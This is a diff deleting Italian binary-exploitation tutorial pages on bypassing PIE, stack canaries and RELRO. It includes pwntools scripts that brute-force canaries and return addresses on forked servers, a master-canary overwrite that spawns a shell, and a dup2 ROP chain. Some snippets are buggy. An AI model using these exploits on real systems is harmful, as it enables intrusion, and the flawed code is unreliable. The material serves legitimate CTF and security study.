-Un suggerimento utile per sfruttare i binari PIE è che il loro **indirizzo base di solito termina in 000** a causa delle pagine di memoria che sono le unità di randomizzazione, dimensionate a 0x1000 byte. Questo allineamento può essere un **controllo critico se un exploit non funziona** come previsto, indicando se l'indirizzo base corretto è stato identificato.\
-Oppure puoi usare questo per il tuo exploit, se leak un indirizzo situato a **`0x649e1024`** sai che l'**indirizzo base è `0x649e1000`** e da lì puoi semplicemente **calcolare gli offset** delle funzioni e delle posizioni.
-
-## Bypass
-
-Per bypassare PIE è necessario **leakare un indirizzo del binario caricato**, ci sono alcune opzioni per questo:
-
-- **ASLR disabilitato**: Se ASLR è disabilitato, un binario compilato con PIE verrà sempre **caricato nello stesso indirizzo**, quindi **PIE sarà inutile** poiché gli indirizzi degli oggetti saranno sempre nello stesso posto.
-- Essere **forniti** del leak (comune nelle sfide CTF facili, [**controlla questo esempio**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
-- **Brute-force i valori EBP ed EIP** nello stack fino a leakare quelli corretti:
-
-{{#ref}}
-bypassing-canary-and-pie.md
-{{#endref}}
-
-- Utilizzare una vulnerabilità di lettura arbitraria come [**format string**](../../format-strings/index.html) per leakare un indirizzo del binario (ad es. dallo stack, come nella tecnica precedente) per ottenere la base del binario e utilizzare offset da lì. [**Trova un esempio qui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
-
-## Riferimenti
-
-- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
-
-{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
deleted file mode 100644
index 4393826c7..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
+++ /dev/null
@@ -1,84 +0,0 @@
-# Indirizzi BF nello Stack
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-**Se stai affrontando un binario protetto da un canary e PIE (Position Independent Executable) probabilmente devi trovare un modo per bypassarli.**
-
-![](<../../../../images/image (144).png>)
-
-> [!NOTE]
-> Nota che **`checksec`** potrebbe non rilevare che un binario è protetto da un canary se questo è stato compilato staticamente e non è in grado di identificare la funzione.\
-> Tuttavia, puoi notarlo manualmente se trovi che un valore è salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire.
-
-## Indirizzi Brute-Force
-
-Per bypassare il PIE devi **leakare qualche indirizzo**. E se il binario non sta leakando indirizzi, il modo migliore per farlo è **brute-forzare il RBP e il RIP salvati nello stack** nella funzione vulnerabile.\
-Ad esempio, se un binario è protetto utilizzando sia un **canary** che **PIE**, puoi iniziare a brute-forzare il canary, poi i **prossimi** 8 Byte (x64) saranno il **RBP** salvato e i **prossimi** 8 Byte saranno il **RIP** salvato.
-
-> [!TIP]
-> Si suppone che l'indirizzo di ritorno all'interno dello stack appartenga al codice binario principale, che, se la vulnerabilità si trova nel codice binario, sarà di solito il caso.
-
-Per brute-forzare il RBP e il RIP dal binario puoi capire che un byte indovinato valido è corretto se il programma restituisce qualcosa o semplicemente non si blocca. La **stessa funzione** fornita per brute-forzare il canary può essere utilizzata per brute-forzare il RBP e il RIP:
-```python
-from pwn import *
-
-def connect():
-r = remote("localhost", 8788)
-
-def get_bf(base):
-canary = ""
-guess = 0x0
-base += canary
-
-while len(canary) < 8:
-while guess != 0xff:
-r = connect()
-
-r.recvuntil("Username: ")
-r.send(base + chr(guess))
-
-if "SOME OUTPUT" in r.clean():
-print "Guessed correct byte:", format(guess, '02x')
-canary += chr(guess)
-base += chr(guess)
-guess = 0x0
-r.close()
-break
-else:
-guess += 1
-r.close()
-
-print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
-return base
-
-# CANARY BF HERE
-canary_offset = 1176
-base = "A" * canary_offset
-print("Brute-Forcing canary")
-base_canary = get_bf(base) #Get yunk data + canary
-CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
-
-# PIE BF FROM HERE
-print("Brute-Forcing RBP")
-base_canary_rbp = get_bf(base_canary)
-RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
-print("Brute-Forcing RIP")
-base_canary_rbp_rip = get_bf(base_canary_rbp)
-RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
-```
-L'ultima cosa di cui hai bisogno per sconfiggere il PIE è calcolare **indirizzi utili dagli indirizzi leakati**: il **RBP** e il **RIP**.
-
-Dal **RBP** puoi calcolare **dove stai scrivendo il tuo shell nella stack**. Questo può essere molto utile per sapere dove andrai a scrivere la stringa _"/bin/sh\x00"_ all'interno della stack. Per calcolare la distanza tra il RBP leakato e il tuo shellcode puoi semplicemente mettere un **breakpoint dopo aver leakato il RBP** e controllare **dove si trova il tuo shellcode**, poi, puoi calcolare la distanza tra il shellcode e il RBP:
-```python
-INI_SHELLCODE = RBP - 1152
-```
-Dalla **RIP** puoi calcolare il **base address del binary PIE** che è ciò di cui hai bisogno per creare un **valid ROP chain**.\
-Per calcolare il base address basta fare `objdump -d vunbinary` e controllare gli indirizzi disassemblati più recenti:
-
-![](<../../../../images/image (145).png>)
-
-In quell'esempio puoi vedere che sono necessari solo **1 Byte e mezzo** per localizzare tutto il codice, quindi, il base address in questa situazione sarà la **RIP leak ma che termina con "000"**. Ad esempio, se hai leakato `0x562002970ecf`, il base address è `0x562002970000`
-```python
-elf.address = RIP - (RIP & 0xfff)
-```
-{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md
deleted file mode 100644
index eb30e1d65..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md
+++ /dev/null
@@ -1,31 +0,0 @@
-# Relro
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Relro
-
-**RELRO** sta per **Relocation Read-Only** ed è una funzione di sicurezza utilizzata nei binari per mitigare i rischi associati con le sovrascritture della **GOT (Global Offset Table)**. Analizziamo il concetto nelle sue due tipologie distinte per chiarezza: **Partial RELRO** e **Full RELRO**.
-
-### **Partial RELRO**
-
-**Partial RELRO** adotta un approccio più semplice per migliorare la sicurezza senza influire significativamente sulle prestazioni del binario. Posizionando **la GOT sopra le variabili del programma in memoria, Partial RELRO mira a prevenire che i buffer overflow raggiungano e corrompano la GOT**.
-
-Questo **non previene l'abuso della GOT** **da vulnerabilità di scrittura arbitraria**.
-
-### **Full RELRO**
-
-**Full RELRO** aumenta la protezione rendendo **la GOT completamente di sola lettura.** Una volta che il binario inizia, tutti gli indirizzi delle funzioni vengono risolti e caricati nella GOT, quindi la GOT viene contrassegnata come di sola lettura, prevenendo efficacemente qualsiasi modifica durante l'esecuzione.
-
-Tuttavia, il compromesso con Full RELRO riguarda le prestazioni e il tempo di avvio. Poiché deve risolvere tutti i simboli dinamici all'avvio prima di contrassegnare la GOT come di sola lettura, **i binari con Full RELRO abilitato potrebbero sperimentare tempi di caricamento più lunghi**. Questo sovraccarico aggiuntivo all'avvio è il motivo per cui Full RELRO non è abilitato per impostazione predefinita in tutti i binari.
-
-È possibile verificare se Full RELRO è abilitato in un binario con:
-```bash
-readelf -l /proc/ID_PROC/exe | grep BIND_NOW
-```
-## Bypass
-
-Se il Full RELRO è abilitato, l'unico modo per bypassarlo è trovare un altro modo che non richieda di scrivere nella tabella GOT per ottenere un'esecuzione arbitraria.
-
-Nota che il GOT di LIBC è solitamente Partial RELRO, quindi può essere modificato con una scrittura arbitraria. Maggiori informazioni in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md
deleted file mode 100644
index 026f306d6..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# Stack Canaries
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## **StackGuard e StackShield**
-
-**StackGuard** inserisce un valore speciale noto come **canary** prima dell'**EIP (Extended Instruction Pointer)**, specificamente `0x000aff0d` (che rappresenta null, newline, EOF, carriage return) per proteggere contro i buffer overflow. Tuttavia, funzioni come `recv()`, `memcpy()`, `read()`, e `bcopy()` rimangono vulnerabili, e non protegge l'**EBP (Base Pointer)**.
-
-**StackShield** adotta un approccio più sofisticato rispetto a StackGuard mantenendo uno **Global Return Stack**, che memorizza tutti gli indirizzi di ritorno (**EIPs**). Questa configurazione garantisce che qualsiasi overflow non causi danni, poiché consente un confronto tra gli indirizzi di ritorno memorizzati e quelli effettivi per rilevare le occorrenze di overflow. Inoltre, StackShield può controllare l'indirizzo di ritorno rispetto a un valore di confine per rilevare se l'**EIP** punta al di fuori dello spazio dati previsto. Tuttavia, questa protezione può essere elusa attraverso tecniche come Return-to-libc, ROP (Return-Oriented Programming), o ret2ret, indicando che StackShield non protegge nemmeno le variabili locali.
-
-## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
-
-Questo meccanismo posiziona un **canary** prima dell'**EBP**, e riorganizza le variabili locali per posizionare i buffer a indirizzi di memoria più alti, impedendo loro di sovrascrivere altre variabili. Copia anche in modo sicuro gli argomenti passati nello stack sopra le variabili locali e utilizza queste copie come argomenti. Tuttavia, non protegge gli array con meno di 8 elementi o i buffer all'interno di una struttura utente.
-
-Il **canary** è un numero casuale derivato da `/dev/urandom` o un valore predefinito di `0xff0a0000`. È memorizzato in **TLS (Thread Local Storage)**, consentendo spazi di memoria condivisi tra i thread di avere variabili globali o statiche specifiche per il thread. Queste variabili vengono inizialmente copiate dal processo padre, e i processi figli possono alterare i loro dati senza influenzare il padre o i fratelli. Tuttavia, se un **`fork()` viene utilizzato senza creare un nuovo canary, tutti i processi (padre e figli) condividono lo stesso canary**, rendendolo vulnerabile. Sull'architettura **i386**, il canary è memorizzato in `gs:0x14`, e su **x86_64**, in `fs:0x28`.
-
-Questa protezione locale identifica le funzioni con buffer vulnerabili ad attacchi e inietta codice all'inizio di queste funzioni per posizionare il canary, e alla fine per verificarne l'integrità.
-
-Quando un server web utilizza `fork()`, consente un attacco di forza bruta per indovinare il byte del canary byte per byte. Tuttavia, utilizzare `execve()` dopo `fork()` sovrascrive lo spazio di memoria, annullando l'attacco. `vfork()` consente al processo figlio di eseguire senza duplicazione fino a quando non tenta di scrivere, momento in cui viene creata una duplicazione, offrendo un approccio diverso alla creazione di processi e alla gestione della memoria.
-
-### Lunghezze
-
-Nei binari `x64`, il cookie del canary è un **`0x8`** byte qword. I **primi sette byte sono casuali** e l'ultimo byte è un **null byte.**
-
-Nei binari `x86`, il cookie del canary è un **`0x4`** byte dword. I **primi tre byte sono casuali** e l'ultimo byte è un **null byte.**
-
-> [!CAUTION]
-> Il byte meno significativo di entrambi i canary è un null byte perché sarà il primo nello stack proveniente da indirizzi più bassi e quindi **le funzioni che leggono stringhe si fermeranno prima di leggerlo**.
-
-## Bypass
-
-**Fuggire il canary** e poi sovrascriverlo (ad es. buffer overflow) con il proprio valore.
-
-- Se il **canary è forkato nei processi figli** potrebbe essere possibile **forzarlo** un byte alla volta:
-
-{{#ref}}
-bf-forked-stack-canaries.md
-{{#endref}}
-
-- Se c'è qualche interessante **fuga o vulnerabilità di lettura arbitraria** nel binario potrebbe essere possibile fugare:
-
-{{#ref}}
-print-stack-canary.md
-{{#endref}}
-
-- **Sovrascrivere i puntatori memorizzati nello stack**
-
-Lo stack vulnerabile a un overflow dello stack potrebbe **contenere indirizzi a stringhe o funzioni che possono essere sovrascritti** per sfruttare la vulnerabilità senza dover raggiungere il canary dello stack. Controlla:
-
-{{#ref}}
-../../stack-overflow/pointer-redirecting.md
-{{#endref}}
-
-- **Modificare sia il canary master che quello del thread**
-
-Un buffer overflow in una funzione thread protetta con canary può essere utilizzato per modificare il canary master del thread. Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canary che sono gli stessi (anche se modificati).
-
-- **Modificare l'entry GOT di `__stack_chk_fail`**
-
-Se il binario ha Partial RELRO, allora puoi utilizzare una scrittura arbitraria per modificare l'entry GOT di `__stack_chk_fail` per essere una funzione fittizia che non blocca il programma se il canary viene modificato.
-
-## Riferimenti
-
-- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
-- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
-- 64 bit, no PIE, nx, modifica il canary del thread e master.
-- [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
-- 64 bit, no PIE, nx, scrittura-cosa-dove primitiva. Modifica l'entry GOT di `__stack_chk_fail`.
-
-{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
deleted file mode 100644
index d31eeef56..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
+++ /dev/null
@@ -1,218 +0,0 @@
-# BF Forked & Threaded Stack Canaries
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-**Se stai affrontando un binario protetto da un canary e PIE (Position Independent Executable) probabilmente devi trovare un modo per bypassarli.**
-
-![](<../../../../images/image (144).png>)
-
-> [!NOTE]
-> Nota che **`checksec`** potrebbe non rilevare che un binario è protetto da un canary se questo è stato compilato staticamente e non è in grado di identificare la funzione.\
-> Tuttavia, puoi notarlo manualmente se trovi che un valore è salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire.
-
-## Brute force Canary
-
-Il modo migliore per bypassare un semplice canary è se il binario è un programma **che fork ogni volta che stabilisci una nuova connessione** con esso (servizio di rete), perché ogni volta che ti connetti ad esso **verrà utilizzato lo stesso canary**.
-
-Quindi, il modo migliore per bypassare il canary è semplicemente **forzarlo carattere per carattere**, e puoi capire se il byte del canary indovinato era corretto controllando se il programma è andato in crash o continua il suo flusso regolare. In questo esempio la funzione **forza un canary di 8 Bytes (x64)** e distingue tra un byte indovinato corretto e un byte errato semplicemente **controllando** se una **risposta** viene inviata dal server (un altro modo in **altra situazione** potrebbe essere utilizzare un **try/except**):
-
-### Example 1
-
-Questo esempio è implementato per 64 bit ma potrebbe essere facilmente implementato per 32 bit.
-```python
-from pwn import *
-
-def connect():
-r = remote("localhost", 8788)
-
-def get_bf(base):
-canary = ""
-guess = 0x0
-base += canary
-
-while len(canary) < 8:
-while guess != 0xff:
-r = connect()
-
-r.recvuntil("Username: ")
-r.send(base + chr(guess))
-
-if "SOME OUTPUT" in r.clean():
-print "Guessed correct byte:", format(guess, '02x')
-canary += chr(guess)
-base += chr(guess)
-guess = 0x0
-r.close()
-break
-else:
-guess += 1
-r.close()
-
-print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
-return base
-
-canary_offset = 1176
-base = "A" * canary_offset
-print("Brute-Forcing canary")
-base_canary = get_bf(base) #Get yunk data + canary
-CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
-```
-### Esempio 2
-
-Questo è implementato per 32 bit, ma potrebbe essere facilmente cambiato a 64 bit.\
-Nota anche che per questo esempio il **programma si aspetta prima un byte per indicare la dimensione dell'input** e il payload.
-```python
-from pwn import *
-
-# Here is the function to brute force the canary
-def breakCanary():
-known_canary = b""
-test_canary = 0x0
-len_bytes_to_read = 0x21
-
-for j in range(0, 4):
-# Iterate up to 0xff times to brute force all posible values for byte
-for test_canary in range(0xff):
-print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
-
-# Send the current input size
-target.send(len_bytes_to_read.to_bytes(1, "little"))
-
-# Send this iterations canary
-target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
-
-# Scan in the output, determine if we have a correct value
-output = target.recvuntil(b"exit.")
-if b"YUM" in output:
-# If we have a correct value, record the canary value, reset the canary value, and move on
-print(" - next byte is: " + hex(test_canary))
-known_canary = known_canary + test_canary.to_bytes(1, "little")
-len_bytes_to_read += 1
-break
-
-# Return the canary
-return known_canary
-
-# Start the target process
-target = process('./feedme')
-#gdb.attach(target)
-
-# Brute force the canary
-canary = breakCanary()
-log.info(f"The canary is: {canary}")
-```
-## Thread
-
-I thread dello stesso processo condivideranno anche **lo stesso token canary**, quindi sarà possibile **forzare** un canary se il binario genera un nuovo thread ogni volta che si verifica un attacco.
-
-Un buffer overflow in una funzione multithread protetta con canary può essere utilizzato per modificare il canary master del processo. Di conseguenza, la mitigazione è inutile perché il controllo viene eseguito con due canary che sono gli stessi (anche se modificati).
-
-### Esempio
-
-Il seguente programma è vulnerabile a Buffer Overflow, ma è compilato con canary:
-```c
-#include 
-#include 
-#include 
-#include 
-
-// gcc thread_canary.c -no-pie -l pthread -o thread_canary
-
-void win() {
-execve("/bin/sh", NULL, NULL);
-}
-
-void* vuln() {
-char data[0x20];
-gets(data);
-}
-
-int main() {
-pthread_t thread;
-
-pthread_create(&thread, NULL, vuln, NULL);
-pthread_join(thread, NULL);
-
-return 0;
-}
-```
-Nota che `vuln` è chiamato all'interno di un thread. In GDB possiamo dare un'occhiata a `vuln`, specificamente, al punto in cui il programma chiama `gets` per leggere i dati di input:
-```bash
-gef> break gets
-Breakpoint 1 at 0x4010a0
-gef> run
-...
-gef> x/10gx $rdi
-0x7ffff7d7ee20: 0x0000000000000000      0x0000000000000000
-0x7ffff7d7ee30: 0x0000000000000000      0x0000000000000000
-0x7ffff7d7ee40: 0x0000000000000000      0x493fdc653a156800
-0x7ffff7d7ee50: 0x0000000000000000      0x00007ffff7e17ac3
-0x7ffff7d7ee60: 0x0000000000000000      0x00007ffff7d7f640
-```
-L'indirizzo sopra rappresenta `data`, dove il programma scriverà l'input dell'utente. Lo stack canary si trova a `0x7ffff7d7ee48` (`0x493fdc653a156800`), e l'indirizzo di ritorno è a `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`):
-```bash
-gef> telescope $rdi 8 -n
-0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000  <-  $rdi
-0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000
-0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000
-0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000
-0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000
-0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800  <-  canary
-0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000  <-  $rbp
-0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3   ->  0xe8ff31fffffe6fe9  <-  retaddr[2]
-```
-Nota che gli indirizzi dello stack non appartengono allo stack reale:
-```bash
-gef> vmmap stack
-[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
-Start              End                Size               Offset             Perm Path
-0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw-   <-  $rbx, $rsp, $rbp, $rsi, $rdi, $r12
-0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack]  <-  $r9, $r15
-```
-Lo stack del thread è posizionato sopra il Thread Local Storage (TLS), dove è memorizzato il master canary:
-```bash
-gef> tls
-$tls = 0x7ffff7d7f640
-...
----------------------------------------------------------------------------- TLS ----------------------------------------------------------------------------
-0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640  ->  [loop detected]  <-  $rbx, $r12
-0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0  ->  0x0000000000000001
-0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640  ->  [loop detected]
-0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001
-0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000
-0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800  <-  canary
-0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4  <-  PTR_MANGLE cookie
-0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000
-...
-```
-> [!NOTE]
-> Alcune delle funzioni GDB sopra menzionate sono definite su un'estensione chiamata [bata24/gef](https://github.com/bata24/gef), che ha più funzionalità rispetto al solito [hugsy/gef](https://github.com/hugsy/gef).
-
-Di conseguenza, un grande Buffer Overflow può consentire di modificare sia lo stack canary che il master canary nel TLS. Questo è l'offset:
-```bash
-gef> p/x 0x7ffff7d7f668 - $rdi
-$1 = 0x848
-```
-Questo è un breve exploit per chiamare `win`:
-```python
-from pwn import *
-
-context.binary = 'thread_canary'
-
-payload  = b'A' * 0x28                    # buffer overflow offset
-payload += b'BBBBBBBB'                    # overwritting stack canary
-payload += b'A' * 8                       # saved $rbp
-payload += p64(context.binary.sym.win)    # return address
-payload += b'A' * (0x848 - len(payload))  # padding
-payload += b'BBBBBBBB'                    # overwritting master canary
-
-io = context.binary.process()
-io.sendline(payload)
-io.interactive()
-```
-## Altri esempi e riferimenti
-
-- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
-- 64 bit, no PIE, nx, BF canary, scrivere in un po' di memoria un ROP per chiamare `execve` e saltare lì.
-- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
-- 64 bit, no PIE, nx, modificare il thread e il canary master.
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
deleted file mode 100644
index 7f90bcf33..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
+++ /dev/null
@@ -1,28 +0,0 @@
-# Stampa Stack Canary
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## Ingrossa lo stack stampato
-
-Immagina una situazione in cui un **programma vulnerabile** a overflow dello stack può eseguire una funzione **puts** **puntando** a **parte** dell'**overflow dello stack**. L'attaccante sa che il **primo byte del canary è un byte nullo** (`\x00`) e il resto del canary sono **byte casuali**. Poi, l'attaccante può creare un overflow che **sovrascrive lo stack fino al primo byte del canary**.
-
-Poi, l'attaccante **chiama la funzionalità puts** nel mezzo del payload che **stamperà tutto il canary** (eccetto il primo byte nullo).
-
-Con queste informazioni, l'attaccante può **creare e inviare un nuovo attacco** conoscendo il canary (nella stessa sessione del programma).
-
-Ovviamente, questa tattica è molto **ristretta** poiché l'attaccante deve essere in grado di **stampare** il **contenuto** del suo **payload** per **esfiltrare** il **canary** e poi essere in grado di creare un nuovo payload (nella **stessa sessione del programma**) e **inviare** il **vero buffer overflow**.
-
-**Esempi CTF:**
-
-- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
-- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e esfiltrarlo. Con il canary viene creato un gadget ROP per chiamare puts per esfiltrare l'indirizzo di puts dal GOT e poi un gadget ROP per chiamare `system('/bin/sh')`
-
-## Lettura Arbitraria
-
-Con una lettura arbitraria come quella fornita da **stringhe** di formato potrebbe essere possibile esfiltrare il canary. Controlla questo esempio: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) e puoi leggere di come abusare delle stringhe di formato per leggere indirizzi di memoria arbitrari in:
-
-{{#ref}}
-../../format-strings/
-{{#endref}}
-
-{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md
deleted file mode 100644
index b708cf4eb..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md
+++ /dev/null
@@ -1,36 +0,0 @@
-# Problemi Comuni di Sfruttamento
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## FDs nell'Exploitation Remota
-
-Quando si invia un exploit a un server remoto che chiama **`system('/bin/sh')`** per esempio, questo verrà eseguito nel processo del server, e `/bin/sh` si aspetterà input da stdin (FD: `0`) e stamperà l'output in stdout e stderr (FDs `1` e `2`). Quindi l'attaccante non sarà in grado di interagire con la shell.
-
-Un modo per risolvere questo è supporre che quando il server è stato avviato ha creato il **FD numero `3`** (per l'ascolto) e che poi, la tua connessione sarà nel **FD numero `4`**. Pertanto, è possibile utilizzare la syscall **`dup2`** per duplicare lo stdin (FD 0) e lo stdout (FD 1) nel FD 4 (quello della connessione dell'attaccante) in modo da rendere possibile contattare la shell una volta eseguita.
-
-[**Esempio di exploit da qui**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
-```python
-from pwn import *
-
-elf = context.binary = ELF('./vuln')
-p = remote('localhost', 9001)
-
-rop = ROP(elf)
-rop.raw('A' * 40)
-rop.dup2(4, 0)
-rop.dup2(4, 1)
-rop.win()
-
-p.sendline(rop.chain())
-p.recvuntil('Thanks!\x00')
-p.interactive()
-```
-## Socat & pty
-
-Nota che socat trasferisce già `stdin` e `stdout` al socket. Tuttavia, la modalità `pty` **include caratteri DELETE**. Quindi, se invii un `\x7f` ( `DELETE` -) eliminerà **il carattere precedente** del tuo exploit.
-
-Per aggirare questo, **il carattere di escape `\x16` deve essere preceduto a qualsiasi `\x7f` inviato.**
-
-**Qui puoi** [**trovare un esempio di questo comportamento**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md
deleted file mode 100644
index 5b21cfacb..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md
+++ /dev/null
@@ -1,382 +0,0 @@
-# ELF Tricks
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Program Headers
-
-Descrivono al loader come caricare l'ELF in memoria:
-```bash
-readelf -lW lnstat
-
-Elf file type is DYN (Position-Independent Executable file)
-Entry point 0x1c00
-There are 9 program headers, starting at offset 64
-
-Program Headers:
-Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
-PHDR           0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R   0x8
-INTERP         0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R   0x1
-[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
-LOAD           0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
-LOAD           0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW  0x10000
-DYNAMIC        0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW  0x8
-NOTE           0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R   0x4
-GNU_EH_FRAME   0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R   0x4
-GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW  0x10
-GNU_RELRO      0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R   0x1
-
-Section to Segment mapping:
-Segment Sections...
-00
-01     .interp
-02     .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
-03     .init_array .fini_array .dynamic .got .data .bss
-04     .dynamic
-05     .note.gnu.build-id .note.ABI-tag .note.package
-06     .eh_frame_hdr
-07
-08     .init_array .fini_array .dynamic .got
-```
-Il programma precedente ha **9 intestazioni di programma**, quindi, la **mappatura dei segmenti** indica in quale intestazione di programma (da 00 a 08) **si trova ciascuna sezione**.
-
-### PHDR - Program HeaDeR
-
-Contiene le tabelle delle intestazioni di programma e i metadati stessi.
-
-### INTERP
-
-Indica il percorso del loader da utilizzare per caricare il binario in memoria.
-
-### LOAD
-
-Queste intestazioni vengono utilizzate per indicare **come caricare un binario in memoria.**\
-Ogni intestazione **LOAD** indica una regione di **memoria** (dimensione, permessi e allineamento) e indica i byte del binario ELF **da copiare lì**.
-
